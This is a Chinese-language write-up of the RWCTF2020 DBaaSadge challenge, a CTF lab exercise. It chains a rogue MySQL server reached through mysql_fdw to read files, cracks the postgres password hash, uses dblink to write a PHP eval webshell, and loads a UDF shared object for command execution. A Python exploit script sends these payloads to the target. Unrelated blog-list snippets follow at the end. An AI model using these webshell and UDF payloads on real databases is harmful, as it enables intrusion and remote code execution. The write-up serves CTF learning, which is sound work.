RWCTF2020 DBaaSadge 复现
数据库题目
2020RWCTF DBaaSadge WP
这是一个很有意思的题目,难到让我绝望,跟着大佬smity的思路跑一下,求大佬抱抱。
https://mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q
0x01 题目
一打开就是题目的代码直接执行,可以直接执行pg的代码,但是长度不能超过100.(本身是给了dockerfile)先进行必要的信息收集。
select version();
select user;
然后大佬说这不是10.5之前修复的那个CVE漏洞,而且那是一道pwn题,这是一个web题。然后想到的就是怎么样可以通过psql的数据库语句来进行命令执行,但是这里的用户是realuser,不是superuser用户,所以网上大部分的方法是不能够使用的。
所以到现在想到的就是,提权加上getshell,来达到命令执行的效果。
0x02 dockfile分析
其中被圈出来的是和psql有关的操作。比如说,psql -c "command"
这是命令行模式直接执行psql语句的用法。咱们再来细细的分析这个dockerfile。
1. 创建了一个没有super权限的realuser 密码是 realpass
2. 安装了dblink mysql_fdw的两个扩展
3. dblink,能够在一个数据库中操作另外一个远程的数据库。
mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式
这里大佬想到了 rouge-mysql
,而我就是个菜鸡,数据库题目一个都不会。(这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)
msql_fdw插件的使用:https://blog.csdn.net/bingluo8787/article/details/100958098
可以知道和直接使用mysql没有什么区别(嘻嘻
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
#创建一个server
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
#创建链接用户名
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
DROP SERVER mysql_server
这样我们在vps上面挂个脚本就可以了。https://github.com/allyshka/Rogue-MySql-Server
这样就可以任意文件读取,但是有个问题,这有什么用了....dokcer都给了。下面就是继续提权了白。
下面给出3个方法
1.寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
2.在pg_hba.conf中如果把host配置为trust是可以进行免密登录的
3.类比mysql ,在本地寻找密码存储的文件。通过vps来读。
然后我们一个一个来验证。
首先,我们来寻找这个神奇的conf文件。
难道要成功了吗?(忘记看启动文件了。。
再见谢谢。每次docker重启就是刷新一个五位数的随机密码(记住,重点)。
验证第二条思路:
读取上面那个文件。
很明显是不能够登陆了。然后,五位数密码爆破,去死把。
最后一个思路:
既然能够读取,百度查psql的密码文件落户到本地的哪个位置,在哪个目录,我们直接读取之。
mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置。
然后用文件内容查找的命令
egrep -r "内容" 目录
然后使用md5在线解密或者爆破脚本使用。
这里面有历史密码。
md5爆破工具
http://c3rb3r.openwall.net/mdcrack
使用方法
http://www.91ri.org/1285.html
MDCrack-sse.exe -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b
拿到我想要的账号和密码,现在就是和上面的dblink联合在一起,来登陆这个超级用户
6k35mpostgres
select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');
成功登陆。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
下面就是如何将上面这句长长的payload打进去了,有长度限制。。。。
如果是敏感字符的考察 ,可以用postgre的存储过程。
create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
但是存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。
正解:
通过子查询,将poc语句写到自己的mysql服务器,利用mysql_fdw扩展连接mysql服务器select出来。
postgre的常用命令
\c - realuser 切换用户到realuser
DROP FOREIGN TABLE a66; 丢掉外部表a66
DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用户关系 对于realuser server a66
DROP SERVER a66_server;
这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
现在文件已经写完了,但是我们没有什么权限
开始打UDF,学习https://blog.csdn.net/qq_33020901/article/details/79032774
https://github.com/sqlmapproject/udfhack
这是sqlmap上面的udf插件。
linux换源:https://blog.csdn.net/u012308586/article/details/102953882
在makefile里面添加一行。执行make 10
编译完成之后
接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/testeval.so');
SELECT lo_unlink(12345);
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");
在将hex数据插入之后,运行一次poc,然后再将下面这个插入,再运行一次命令即可。
下面脚本的使用条件:
vps上面开启mysql服务3306端口 账号admin 密码123456
有数据库b b里有
表a 里面 s字段是 存储链接ps数据库super的host和端口和账号和密码
m字段是 命令执行readflag
表b 里面 s字段同上
m字段是 so文件的加载
听说命令执行有更好的方式不使用udf;
import requests
import hashlib
import random
import uuid
url ="http://192.168.72.89:60080/?sql="
#填你的IP
ip="42.192.142.64"
port="3306"
server_name="aaaa"
dbname=server_name
Table_name=server_name
'''
任意文件的poc
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
'''
'''
#插入数据
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
#poc4 = "select dblink_connect((select s from a66),(select m from a66));"
poc5="DROP FOREIGN TABLE a66;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7 = "DROP SERVER a66_server;"
'''
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64 ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7="DROP SERVER a66_server;"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
r8=requests.get(url+poc8)
print(r8.text)
r9=requests.get(url+poc9)
print(r9.text)
r5=requests.get(url+poc5)
print(r5.text)
r6=requests.get(url+poc6)
print(r6.text)
r7=requests.get(url+poc7)
print(r7.text)
RWCTF2020 DBaaSadge 复现的更多相关文章
- C++复现经典游戏——扫雷
国庆小长假,当大家都去看人山人海的时候,我独自一人狂码代码.这两天想要实现的内容是Windows上的一个经典游戏——扫雷.相信90后和一些上班族对此并不陌生.然而,从win8开始,扫雷就不再是Wind ...
- [troubleshoot][archlinux][X] plasma(KDE) 窗口滚动刷新冻结(约延迟10s)(已解决,root cause不明,无法再次复现)
现象: konsole,setting等plasma的系统应用反应缓慢,在滚动条滚动时,尤为明显. 触发条件: 并不是十分明确的系统滚动升级(Syu)后,产生. 现象收集: 可疑的dmesg [ :: ...
- 时空上下文视觉跟踪(STC)算法的解读与代码复现(转)
时空上下文视觉跟踪(STC)算法的解读与代码复现 zouxy09@qq.com http://blog.csdn.net/zouxy09 本博文主要是关注一篇视觉跟踪的论文.这篇论文是Kaihua Z ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...
- Samba远程代码执行漏洞(CVE-2017-7494)本地复现
一.复现环境搭建 搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162): 靶机:debian (192.168.217.150). 二.Debian安装并配置s ...
- Office远程代码执行漏洞CVE-2017-0199复现
在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复 ...
- Node.js CVE-2017-1484复现(详细步骤)
0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
随机推荐
- 一、本地项目部署到GitHub上
部署之前准备工作,本地安装Git和注册一个GitHub账号: 本地安装Git 因为官网下载速度较慢,从其他地方下载 https://npm.taobao.org/mirrors/git-for-win ...
- Java8遍历Map、Map转List、List转Map
1. 遍历Map Map<Integer, String> map = new HashMap<>(); map.put(1, "a"); map.put( ...
- 使用collectd+influxdb+grafna监控进程的健康状态
一,前言 本文将介绍如何使用collectd+influxdb+grafna进行进程的监控,监控项为:进程健康状态. 思路为:使用collectd的processes插件进行程序进程的监控,储存到in ...
- 无法获得VMCI驱动程序的版本:句柄无效 (亲测有效! )
今天在学习Linux 的时候 启动VM时出现了这个问题, 搞了很久终于弄好了, 就写篇博客来记录一下,帮助一下大家,如果对大家有帮助,还请各位哥哥姐姐点个关注,你的支持就是我坚持下去的动力 ! 文章目 ...
- Restful API 接口设计标准及规范
Restful API 接口设计标准以及规范 RESTful概念 理解和评估以网络为基础的应用软件的架构设计,得到一个功能强.性能好.适宜通信的架构.REST指的是一组架构约束条件和原则." ...
- Mysql联合索引的最左前缀原则以及b+tree
软件版本mysql5.7 根据官网的文档 https://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html 查询条件要符合最左原 ...
- python 做回归
1 一元线性回归 线性回归是一种简单的模型,但受到广泛应用,比如预测商品价格,成本评估等,都可以用一元线性模型.y = f(x) 叫做一元函数,回归意思就是根据已知数据复原某些值,线性回归(regre ...
- CSS系列 (03):CSS三大特性
层叠性 层叠性指的是样式的优先级,当产生冲突时以优先级高的为准,优先级相同时取后面定义的属性样式. 继承性 继承性指的是子孙元素可以继承父元素的属性. 记录一下开发中常用的继承属性: 字体系列 fon ...
- SQLServer多事务——事务嵌套
在ERP中,偶尔会有存储过程里面继续调用存储过程的情况 其中更有一些特殊的存储过程分别都使用了存储过程,大致可以分为下面几种情况: 1.平行事务,在多个事务中,任意一个成功则提交数据库,失败则各自RO ...
- 扫盲:Kotlin 的泛型
引子 相信总是有很多同学,总是在抱怨泛型无论怎么学习,都只是停留在一个简单使用的水平,所以一直为此而备受苦恼. Kotlin 作为一门能和 Java 相互调用的语言,自然也支持泛型,不过 Kotlin ...